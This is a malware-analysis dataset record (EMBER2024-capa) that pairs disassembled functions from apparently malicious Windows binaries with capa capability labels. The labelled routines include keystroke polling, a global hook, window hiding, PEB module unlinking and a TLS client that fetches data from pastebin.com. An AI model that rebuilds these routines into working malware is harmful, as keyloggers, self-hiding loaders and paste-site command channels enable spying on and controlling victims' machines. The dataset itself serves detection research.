joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4410c4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4649a8]
cmp byte [eax + 0xc], 0
je 0x441231
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44122a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x467ddc], 0
jne 0x441118
push 0x441238
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x441240
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467ddc], eax
cmp dword [0x4641dc], 0
jne 0x441213
push 0x441250
call sub.kernel32.dll_LoadLibraryA
mov dword [0x4641dc], eax
cmp dword [0x4641dc], 0
je 0x441213
push 0x44125c
mov eax, dword [0x4641dc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467de0], eax
push 0x44126c
mov eax, dword [0x4641dc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467de4], eax
push 0x441280
mov eax, dword [0x4641dc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467de8], eax
push 0x441298
mov eax, dword [0x4641dc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467dec], eax
push 0x4412b0
mov eax, dword [0x4641dc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467df0], eax
push 0x4412c4
mov eax, dword [0x4641dc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467df4], eax
push 0x4412dc
mov eax, dword [0x4641dc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467df8], eax
push 0x4412f4
mov eax, dword [0x4641dc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467dfc], eax
push 0x441310
mov eax, dword [0x4641dc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467e00], eax
push 0x44131c
mov eax, dword [0x4641dc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x467e04], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x441231
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x444f94
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404714
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x444fe3
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.0040497c
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44cf6c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44cfbc]
test si, 4
je 0x44cf80
or bl, 1
test si, 8
je 0x44cf8a
or bl, 4
test si, 1
je 0x44cf94
or bl, 8
test si, 2
je 0x44cf9e
or bl, 0x10
test si, 0x10
je 0x44cfa8
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44cfb7
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44cfc0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44cff8]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44cfd9
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44cfe8
or bl, 4
test esi, 0x20000000
je 0x44cff3
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4537f4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x453806
add esp, 0xfffffff0
call fcn.00403d0c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00421f34
mov eax, dword [0x464690]
mov dword [eax + 4], ebx
mov dword [eax], 0x453b98
mov eax, dword [0x46469c]
mov dword [eax + 4], ebx
mov dword [eax], 0x453ba4
mov eax, ebx
call fcn.00453bb0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x417ed8]
call fcn.00403978
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x417ed8]
call fcn.00403978
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x417ed8]
call fcn.00403978
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x417ed8]
call fcn.00403978
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x417ed8]
call fcn.00403978
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44fecc
push eax
push 0
push 0
mov eax, dword [0x4647c0]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x4238f4]
call fcn.00425030
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x4238f4]
call fcn.00425030
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x4238f4]
call fcn.00425030
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00453fd0
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453eac
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453eac
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453eac
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x453943
call fcn.00403d64
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x453c90
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x453e3b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x453e1c
mov dl, 1
mov eax, dword [0x4183c8]
call fcn.00403978
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404714
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x453e0b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00441424
test al, al
je 0x453dfe
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x453e4c
lea eax, [ebp - 0x254]
call fcn.0040a53c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x453dfe
xor eax, eax
push ebp
push 0x453df7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x453e84
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x453de0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040497c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x453de0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040497c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453dfe
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x453d01
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041c524
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453e42
lea eax, [ebp - 0x260]
call fcn.00404714
ret

Function at 0x454770
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x467e20]
cmp byte [eax + 0xa5], 0
jne 0x4547e1
cmp dword [0x467e38], 0
jne 0x4547a2
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45472c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x467e38], eax
cmp dword [0x467e34], 0
jne 0x4547bd
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x467e34], eax
cmp dword [0x467e3c], 0
jne 0x4547e1
push esp
push 0
push 0
push 0x4546d0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x467e3c], eax
pop edx
ret
Function at 0x454f4c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x467e20]
cmp dword [eax + 0x30], 0
je 0x454ff6
cmp dword [ebx + 0x94], 0
jne 0x454ff0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x454edc
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x454ff0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x454fb6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x454ff0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041a578
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x454fc5
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x456760
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4567a1
mov eax, esi
call fcn.0043ccec
test al, al
je 0x4567a1
mov eax, dword [ebx + 0x84]
call fcn.0043c9e8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4567a1
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043c9e8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x457570
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.00457190
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00404bc4
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x4575ce
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4647c8]
mov dl, 1
mov eax, dword [0x457088]
call fcn.0040be94
call fcn.00404174
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4575d8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404bc4
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x457630
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4649b4]
mov dl, 1
mov eax, dword [0x457088]
call fcn.0040be94
call fcn.00404174
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004571c0
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x457b44
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x417554]
call fcn.004050f0
xor eax, eax
push ebp
push 0x457c88
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x464438], 0
jne 0x457b97
mov ecx, dword [0x4645ec]
mov dl, 1
mov eax, dword [0x408c08]
call fcn.0040be58
call fcn.00404174
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.004032c0
mov eax, ebx
call fcn.00404f60
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x457c98
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.00406470
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404f70
test eax, eax
jle 0x457c2f
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x457c28
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404994
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.0040497c
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00409934
test eax, eax
jne 0x457c28
mov ebx, 0x15
jmp 0x457c34
mov ebx, 0x10
jmp 0x457c34
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x464438]
call fcn.00457a9c
mov eax, dword [ebp - 8]
call fcn.00457a9c
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00406488
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457c8f
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404738
lea eax, [ebp - 0x10]
mov edx, dword [0x417554]
call fcn.004051c0
ret
Function at 0x10001082
Capabilities:
Get remote cert context via schannel

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
push ebx
push esi
push edi
xor esi, esi
mov dword [0x10006424], 0x10004808
and dword [esp + 0x10], esi
lea ecx, [esp + 0x1c]
xor edi, edi
mov dword [0x10006420], 0x10004818
xor ebx, ebx
call fcn.100011c2
test eax, eax
jne 0x10001172
mov eax, dword [ebp + 0xc]
lea edx, [esp + 0x1c]
mov dword [0x1000647c], eax
inc esi
mov eax, dword [ebp + 0x10]
mov dword [0x10006484], eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x18]
push eax
push ecx
mov ecx, dword [ebp + 8]
call fcn.1000132e
add esp, 0xc
test eax, eax
jne 0x10001172
lea eax, [esp + 0x10]
mov edi, esi
push eax
push 0x53
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10001172
mov ecx, dword [esp + 0x10]
call fcn.10001a6a
push ecx
mov ecx, dword [esp + 0x14]
call fcn.10001b48
pop ecx
push dword [esp + 0x10]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and dword [esp + 0x10], ebx
lea eax, [esp + 0x14]
push ecx
mov ecx, dword [ebp + 8]
push eax
call fcn.1000161e
pop ecx
pop ecx
test eax, eax
jne 0x10001172
push ecx
push ecx
mov ecx, dword [ebp + 8]
lea eax, [esp + 0x1c]
push eax
lea edx, [esp + 0x28]
call fcn.1000175c
add esp, 0xc
test eax, eax
jne 0x10001172
mov ecx, dword [ebp + 8]
lea eax, [esp + 0x14]
push eax
lea edx, [esp + 0x20]
call fcn.10001263
pop ecx
test eax, eax
jne 0x10001172
xor edi, edi
mov ebx, esi
cmp dword [esp + 0x10], 0
je 0x10001188
push dword [esp + 0x10]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and dword [esp + 0x10], 0
test edi, edi
je 0x10001197
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
test esi, esi
je 0x100011a6
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov ecx, dword [0x10006460]
test ecx, ecx
je 0x100011b9
push 0
push ecx
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100011c2
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
mov esi, ecx
push 0x10004214
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.CRYPT32.dll_CertOpenSystemStoreA]
mov dword [0x10006460], eax
test eax, eax
jne 0x100011ed
mov eax, 0x8009030e
jmp 0x1000125f
push ebx
push 0x38
push edi
mov ebx, 0x10006428
push ebx
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
mov dword [0x10006428], 4
cmp dword [ebp - 4], edi
je 0x10001221
lea eax, [ebp - 4]
mov dword [0x1000642c], 1
mov dword [0x10006430], eax
lea eax, [ebp - 0xc]
mov dword [0x10006448], 0xa80
push eax
push esi
push edi
push edi
push ebx
push edi
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [0x10006458], 0x400018
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
mov esi, eax
pop ebx
cmp dword [ebp - 4], edi
je 0x1000125d
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x1000161e
Capabilities:
Encrypt data via sspi
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x10006004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
mov edi, dword [0x10006420]
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x48]
push ecx
push 4
push eax
mov dword [ebp - 0x4c], eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x1000174f
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x48]
push ebx
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x10001675
mov eax, 0x80090304
jmp 0x1000174e
push esi
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
test edi, edi
je 0x1000169d
push edi
call esi
pop ecx
cmp eax, 1
jbe 0x1000169d
push edi
call esi
pop ecx
cmp byte [eax + edi - 1], 0x2f
jne 0x1000169d
push edi
call esi
pop ecx
mov byte [eax + edi - 1], 0
push dword [0x10006424]
mov esi, dword [ebp - 0x48]
push edi
add esi, ebx
push str.GET__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0_r_nAccept:__r_n_r_n
push esi
call fcn.1000106b
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov ecx, dword [ebp - 0x48]
add esp, 0x14
mov dword [ebp - 0x28], eax
add eax, esi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], ecx
xor ecx, ecx
push ecx
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x4c]
push ecx
push esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], 4
call dword [sym.imp.Secur32.dll_EncryptMessage]
test eax, eax
js 0x1000174d
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
push 0
push eax
push ebx
push dword [ebp - 0x50]
call dword [0x1000647c]
cmp eax, 0xffffffff
je 0x10001741
test eax, eax
je 0x10001741
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000174d
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
mov eax, 0x80090304
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.10002914
leave
ret
Function at 0x10001ccd
Capabilities:
Get client handle via schannel
Get inbound credentials handle via credssp
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
lea eax, [ebp - 0xc]
push ebx
push esi
push edi
push eax
push 0x59
push edx
mov esi, ecx
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10001d98
push 0x20
pop edi
push edi
xor ebx, ebx
lea eax, [ebp - 0x40]
push ebx
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x40], edi
mov edi, ebx
mov dword [ebp - 0x3c], str.1.3.6.1.5.5.7.3.2
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], eax
push edi
lea eax, [ebp - 0x40]
push eax
push 1
push ebx
push 1
push dword [0x10006460]
call dword [sym.imp.CRYPT32.dll_CertFindChainInStore]
mov edi, eax
test edi, edi
je 0x10001d98
mov ecx, dword [edi + 0x10]
lea eax, [ebp - 4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [0x10006430], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ecx
push eax
push ebx
push ebx
push 0x10006428
push ebx
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push ebx
mov dword [0x10006428], 4
mov dword [0x1000642c], 1
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
test eax, eax
jne 0x10001d1c
push esi
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov eax, dword [ebp - 0x14]
mov dword [esi], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10001df0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
mov ecx, dword [0x1000641c]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov edx, dword [eax]
jmp 0x10001e15
test edx, edx
je 0x10001e73
cmp dword [edx + 0x18], ecx
je 0x10001e1b
mov edx, dword [edx]
cmp edx, eax
jne 0x10001e0a
leave
ret
mov dword [0x10006404], ecx
mov ecx, dword [edx + 4]
mov dword [0x10006414], edx
mov eax, dword [ecx]
mov dword [0x10006408], eax
mov eax, dword [edx + 0x14]
mov eax, dword [eax]
mov dword [0x10006410], eax
mov eax, dword [edx + 0xc]
mov eax, dword [eax]
mov dword [0x1000640c], eax
mov eax, dword [edx]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0x14]
mov eax, dword [edx + 0x10]
mov dword [ecx], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0xc]
mov eax, dword [edx + 8]
mov dword [ecx], eax
leave
ret
Function at 0x10002247
Capabilities:
Create thread

Disassembly:
mov eax, 0x153
push str.ws2_32
mov word [0x10006018], ax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
call fcn.100022d8
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
xor eax, eax
add esp, 0xc
inc eax
ret

Function at 0x10002440
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10006004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov edi, ecx
call dword [sym.imp.WS2_32.dll_socket]
push 4
mov esi, eax
mov dword [ebp - 0x18], 0x5dc
lea eax, [ebp - 0x18]
push eax
push 0x1006
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push str.pastebin.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x1bb
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
mov word [ebp - 0x14], bx
call dword [sym.imp.WS2_32.dll_connect]
push ecx
push ecx
push dword [sym.imp.WS2_32.dll_recv]
push dword [sym.imp.WS2_32.dll_send]
push esi
call fcn.10001082
add esp, 0x14
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
lea eax, [ebp - 0x1c]
push 0xa
push eax
call fcn.10002305
add eax, 4
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
mov ecx, dword [ebp - 4]
add esp, 0xc
mov dword [edi], eax
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10002914
leave
ret

Function at 0x100024ff
Capabilities:
Initialize winsock library

Disassembly:
push esi
mov esi, ecx
push esi
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 2
pop eax
lea ecx, [esi + 0x198]
mov word [esi + 0x194], ax
call fcn.10002440
push 0x1c6d
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 0x196], ax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop esi
test eax, eax
jne 0x1000254f
or ecx, 0xffffffff
call fcn.100023b0
push eax
call fcn.10001f44
pop ecx
ret